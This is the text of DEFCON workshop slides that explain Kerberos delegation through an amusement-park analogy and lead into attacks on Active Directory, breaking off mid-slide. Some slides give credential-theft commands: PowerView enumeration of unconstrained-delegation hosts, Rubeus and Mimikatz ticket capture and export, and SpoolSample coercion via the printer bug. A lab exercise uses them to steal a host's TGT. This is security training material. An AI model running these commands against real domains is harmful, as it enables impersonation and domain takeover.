Constructing Kerberos Attacks with Delegation Primitives

DEFCON

Elad Shamir
Managing Security Consultant

Matt Bush
Security Consultant

Agenda

- Introduction to Kerberos
- Kerberos delegation
  - Unconstrained
  - Constrained
    - S4U2Self
    - S4U2Proxy
    - TrustedToAuthForDelegation
  - Resource based constrained delegation
- NTLM and NTLM relay
- Combining these primitives to create elaborate attack chains

Motivation

- Computer object takeover
- Bypass TrustedToAuthForDelegation
- Domain persistence – a new way to forge golden tickets

- Re-weaponize an exploit primitive that was considered useless
  - Remote Code Execution (RCE)
  - Local Privilege Escalation (LPE)

About Us

- Elad Shamir (@elad_shamir) and Matt Bush (@3xocyte)

- Shenanigans Labs (shenaniganslabs.io)

The Lab

- Seven exercises
- Follow the lab guide
  - Instructions, tips, and full solution
- You get your own machines – stick to them!
- Stick to the exercises
- Don’t disrupt others
- Don’t be evil

- RDP to your Service A host and operate from there

Kerberos 101

~~Kerberos 101~~
The **REAL STORY** behind Kerberos

Not a real story

~~Kerberos 101~~
The **REAL STORY** behind Kerberos

Not a real story

- This is Bill
- Bill is a successful entrepreneur
- Bill always integrates security into his ventures by design
- Bill is smart
- Be like Bill

The **REAL STORY** behind Kerberos

Not a real story

- Back in the 70's, Bill opened an amusement park
- Bill wanted to improve security and came up with a new model

The Luna Club

- Every visitor becomes a member
- Their details are kept on file to speed things up in the future
  - Name
  - Date of Birth
  - Height
  - Group memberships: Rollercoaster, Bumper Cars, Ferris Wheel, etc.
- Everyone gets a secret code for authentication

Every visitor gets a “Day Pass”

- Alice authenticates with her secret code and pays for entry
- The ticket office issues a day pass and populates it with the visitor’s information

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Every visitor gets a “Day Pass”

- Alice authenticates with her secret code and pays for entry
- The ticket office issues a day pass and populates it with the visitor’s information
- The day pass is encrypted with a secret key that only the ticket office knows

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Bmjdf Wbodf
EPC; 404061
Ifjhiu; 2/76n
Hspvqt; Spmmfsdpbtufs, Gfssjt Xiffm,
Cvnqfs Dbst, Nfssz Hp Spvoe, Mvodi,
Ibqqz.Ipvs
```

Getting tickets for rides

- Alice presents her day pass to the ticket office

Getting tickets for rides

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Getting tickets for rides

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Getting tickets for rides

- The ticket office creates a new ride ticket
- The content is copied from the day pass

Ride@Rollercoaster

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Getting tickets for rides

- The ride ticket is encrypted with a unique key that only the ride operator and the ticket office know

Ride@Rollercoaster

```
Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn,
Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej,
Jcrr{/Jqwt
```

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris
Wheel, Bumper Cars, Merry Go
Round, Lunch, Happy-Hour
```

Getting on a ride

Getting on a ride

- Alice presents her ticket to the ride operator

Ride@Rollercoaster

```
Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn,
Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej,
Jcrr{/Jqwt
```

Getting on a ride

- Alice presents her ticket to the ride operator
- The operator decrypts the ticket

Ride@Rollercoaster

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Getting on a ride

- Alice presents her ticket to the ride operator
- The operator decrypts the ticket
- The operator validates the ticket

Ride@Rollercoaster

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Getting on a ride

- Alice presents her ticket to the ride operator
- The operator decrypts the ticket
- The operator validates the ticket
- Alice is allowed to get on the ride

Ride@Rollercoaster

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

A side note about the ride name

- The ride name is not encrypted

Ride@Rollercoaster

```
Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn,
Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej,
Jcrr{/Jqwt
```

A side note about the ride name

- The ride name is not encrypted
- Alice can change the service class
  - The ticket remains valid

Operator@Rollercoaster

```
Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn,
Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej,
Jcrr{/Jqwt
```

A side note about the ride name

- The ride name is not encrypted
- Alice can change the service class
  - The ticket remains valid
- If Alice changed the wrong part of the ride name, the encrypted part will no longer be valid

Operator@Ferris Wheel

```
Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn,
Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej,
Jcrr{/Jqwt
```

A side note about the ride name

- The ride name is not encrypted
- Alice can change the service class
  - The ticket remains valid
- If Alice changed the wrong part of the ride name, the encrypted part will no longer be valid
  - Different rides have different encryption keys

Operator@Ferris Wheel

```
S^ifa Colj7 1,1,42 67-- >J
S^ifa Rkqfi7 1,1,42 47-- MJ
Ci^dp7 CLOT>OA>?IB, OBKBT>?IB
K^jb7 >if`b S^k`b
AL?7 0,0,2-
Ebfdeq7 .+32j
Dolrmp7 Oliibo`l^pqbo, Cboofp Tebbi,
?rjmbo @^op, Jboov Dl Olrka, Irk`e,
E^mmv*Elro
```

From the amusement park to Kerberos

Amusement Park	Kerberos
Secret code and payment	Pre-authentication
Ticket Office	Domain Controller (KDC, AS)
Day Pass	Ticket Granting Ticket (TGT)
Ride Ticket	Service Ticket (TGS)
Operator	Service Account
Ticket Office Password/Key	KRBTGT Account Password/Key
Operator Password/Key	Service Account Password/Key
Ride Name	Service Principal Name
Bill	Domain Admins
Visitors	Users
Visitor Details in Ticket (but no signatures)	*Privilege Attribute Certificate (PAC)*

The Authentication Flow

Can you crack the cipher?

Day Pass

Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Bmjdf Wbodf
EPC; 404061
Ifjhiu; 2/76n
Hspvqt; Spmmfsdpbtufs, Gfssjt Xiffm, Cvnqfs Dbst, Nfssz Hp Spvoe, Mvodi, Ibqqz.Ipvs

Ride@Rollercoaster

Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn, Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej, Jcrr{/Jqwt

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Ride@Rollercoaster

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Can you crack the cipher?

- If you obtain the ticket office's key, you can forge day passes
  - Same as obtaining the KRBTGT key and forging golden tickets
- If you obtain a ride operator's key, you can forge ride tickets
  - Same as compromising a service account and forging silver tickets
- Cracking a ride ticket to obtain the operator's key is the same as Kerberoasting
  - In Kerberoasting, the attacker obtains a service ticket and cracks the service account's password/key

Kerberos Delegation

- Bill opened a bistro and a bar at the park
- If a visitor wants to eat or drink, they have to get a ticket from the ticket office

Getting a lunch ticket

- Alice presents her day pass to the ticket office

Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass

Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid

Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid
- The ticket office creates a new ticket to the bistro

Lunch@Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Getting a lunch ticket

- The ticket is encrypted with a unique key that only the bistro and the ticket office know

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Lunch Time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar

Unconstrained delegation

- Alice presents her lunch ticket to the waitress at the bistro

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Unconstrained delegation

- Alice presents her lunch ticket to the waitress at the bistro
- Alice hands over her day pass as well

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Bmjdf Wbodf
EPC; 404061
Ifjhiu; 2/76n
Hspvqt; Spmmfsdpbtufs, Gfssjt Xiffm,
Cvnqfs Dbst, Nfssz Hp Spvoe, Mvodi,
Ibqqz.Ipvs
```

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Unconstrained delegation

- Alice presents her lunch ticket to the waitress at the bistro
- Alice hands over her day pass as well
- The waitress decrypts the ticket and validates it

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Bmjdf Wbodf
EPC; 404061
Ifjhiu; 2/76n
Hspvqt; Spmmfsdpbtufs, Gfssjt Xiffm,
Cvnqfs Dbst, Nfssz Hp Spvoe, Mvodi,
Ibqqz.Ipvs
```

Lunch@Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Unconstrained delegation

- The waitress goes to the ticket office on behalf of Alice

Unconstrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass

Unconstrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass
- The ticket office decrypts the day pass and validates it

Unconstrained delegation

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass
- The ticket office decrypts the day pass and validates it
- The ticket office creates a new ticket for the bar

Beer@Luna Bar

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Unconstrained delegation

- The ticket is encrypted with a key that only the bar tender and the ticket office know

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Unconstrained delegation

- The waitress goes to the bar with the ticket

Unconstrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

Unconstrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Unconstrained delegation

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice

Beer@Luna Bar

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Unconstrained delegation

- The waitress serves Alice a burger and a beer

Unconstrained delegation

Unconstrained delegation

- TrustedForDelegation flag
- Requires the SeEnableDelegation privilege
  - Only domain admins have that by default

Unconstrained delegation is dangerous

- The waitress goes to the ticket office on behalf of Alice

Unconstrained delegation is dangerous

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass

Unconstrained delegation is dangerous

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass
- The ticket office decrypts the day pass and validates it

Unconstrained delegation is dangerous

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents Alice's day pass
- The ticket office decrypts the day pass and validates it
- The waitress requests a ticket to the rollercoaster

Ride@Rollercoaster

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Unconstrained delegation is dangerous

- The ticket is encrypted with a key that only the rollercoaster operator and the ticket office know

Ride@Rollercoaster

```
Xcnkf Htqo< 616197 ;<22 CO
Xcnkf Wpvkn< 616197 9<22 RO
Hnciu< HQTYCTFCDNG, TGPGYCDNG
Pcog< Cnkeg Xcpeg
FQD< 515172
Jgkijv< 3087o
Itqwru< Tqnngteqcuvgt, Hgttku Yjggn,
Dworgt Ectu, Ogtt{ Iq Tqwpf, Nwpej,
Jcrr{/Jqwt
```

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Unconstrained delegation is dangerous

- The waitress goes to the rollercoaster
- The waitress presents Alice's ride ticket
- The waitress impersonates Alice and is allowed on the ride

Unconstrained delegation is dangerous

- If we compromise a service account or host with TrustedForDelegation, we can take over any victim account that authenticates to it
- Where do victims come from?
  - Watering Hole
  - Social Engineering
  - Bring Your Own Victim?

The “Printer Bug”

- Discovered by Lee Christensen (@tifkin_)
- The Print System Remote Protocol (MS-RPRN) has two methods that allow providing the remote system with a hostname/IP address, and it will connect back for the purpose of sending notifications
  - RpcRemoteFindFirstPrinterChangeNotification
  - RpcRemoteFindFirstPrinterChangeNotificationEX
- Connects back over SMB to a named pipe
  - Requires authentication
- The service runs as LOCAL SYSTEM
- The Print Spooler service is configured to start automatically by default

Abusing the "Printer Bug"

- Compromise a host with unconstrained delegation (Service A)
- Coerce the target host (Service B) to connect to the compromised host (Service A) using the printer bug
- Obtain the TGT for the target host (Service B)

The toolset

- Identifying computers with unconstrained delegation:
  - PowerView or SharpView:
    `Get-DomainComputer –Unconstrained`

- Capturing TGTs as they come in:
  - Rubeus:
    ```
    Rubeus.exe monitor /interval:seconds
    Rubeus.exe harvest /interval:minutes
    ```
  - Mimikatz:
    `sekurlsa::tickets /export or kerberos::list /export`

The toolset

- The triggering “printer bug”:
  - SpoolSample:
    `SpoolSample.exe target_host listening_host`
  - Use hostnames rather than IPs if you want Kerberos authentication (TGT)

Lab: Unconstrained Delegation + Printer Bug

- **Objective**: Obtain Service B's ticket granting ticket (TGT)
- **Tasks:**
  - Identify a host in your control that is configured for unconstrained delegation
  - Run Rubeus in monitor mode to capture incoming TGTs
  - Use the "Printer Bug" to coerce Service B to authenticate to your host
  - Keep the obtained TGT for the next labs!

Bill is smart

- Bill introduces a new concept: Constrained Delegation – S4U2Proxy
- Some ride operators are allowed to impersonate visitors to a predefined list of rides
- The operator must present a FORWARDABLE ticket for the visitor to themselves as evidence that the visitor is present

Getting a lunch ticket

- Alice presents her day pass to the ticket office

Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass

Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid

Getting a lunch ticket

- Alice presents her day pass to the ticket office
- The ticket office decrypts the day pass
- The ticket office verifies the day pass is valid
- The ticket office creates a new ticket for the bistro

Lunch@Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Getting a lunch ticket

- The ticket is encrypted with a unique key that only the bistro and the ticket office know

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Lunch time!

- Alice goes to the bistro and wants to order a burger and a beer
- The burger is served at the bistro and the beer is served at the bar

Constrained Delegation – S4U2Proxy

- Alice presents her lunch ticket to the waitress at the bistro

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Constrained Delegation – S4U2Proxy

- Alice presents her lunch ticket to the waitress at the bistro
- The waitress decrypts the ticket and validates it

Lunch@Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Constrained Delegation – S4U2Proxy

- The waitress goes to the ticket office on behalf of Alice

Constrained Delegation – S4U2Proxy

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and Alice's bistro ticket

Day Pass

```
Wbmje Gspn; 505086 :;11 BN
Wbmje Voujm; 505086 8;11 QN
Gmbht; GPSXBSEBCMF, SFOFXBCMF
Obnf; Mvob Cjtusp
Hspvqt; Ljudifo, Cjtusp, Tubgg
```

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Constrained Delegation – S4U2Proxy

- The waitress goes to the ticket office on behalf of Alice
- The waitress presents **her own** day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Lunch@Luna Bistro

```
Ydolg Iurp= 7272:8 <=33 DP
Ydolg Xqwlo= 7272:8 :=33 SP
Iodjv= IRUZDUGDEOH, UHQHZDEOH
Qdph= Dolfh Ydqfh
GRE= 626283
Khljkw= 4198p
Jurxsv= Uroohufrdvwhu, Ihuulv Zkhho,
Expshu Fduv, Phuu| Jr Urxqg, Oxqfk,
Kdss|0Krxu
```

Constrained Delegation – S4U2Proxy

- The ticket office decrypts the bistro ticket and validates it

Day Pass

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff

Lunch@Luna Bistro

Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel, Bumper Cars, Merry Go Round, Lunch, Happy-Hour

Constrained Delegation – S4U2Proxy

- The ticket office decrypts the bistro ticket and validates it
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar

Day Pass

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Luna Bistro
Groups: Kitchen, Bistro, Staff
```

Lunch@Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Constrained Delegation – S4U2Proxy

- The ticket office decrypts the bistro ticket and validates it
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar
- The ticket office creates a bar ticket for Alice

Beer@Luna Bar

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Lunch@Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
Bumper Cars, Merry Go Round, Lunch,
Happy-Hour
```

Constrained Delegation – S4U2Proxy

- The ticket office decrypts the bistro ticket and validates it
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar
- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket

Beer@Luna Bar

```
Zepmh Jvsq> 8383;9 =>44 EQ
Zepmh Yrxmp> 8383;9 ;>44 TQ
Jpekw> JSV[EVHEFPI, VIRI[EFPI
Reqi> Epmgi Zergi
HSF> 737394
Limklx> 52:9q
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,
Lett}1Lsyv
```

Lunch@Luna Bistro

```
Valid From: 4/4/75 9:00 AM
Valid Until: 4/4/75 7:00 PM
Flags: FORWARDABLE, RENEWABLE
Name: Alice Vance
DOB: 3/3/50
Height: 1.65m
Groups: Rollercoaster, Ferris Wheel,
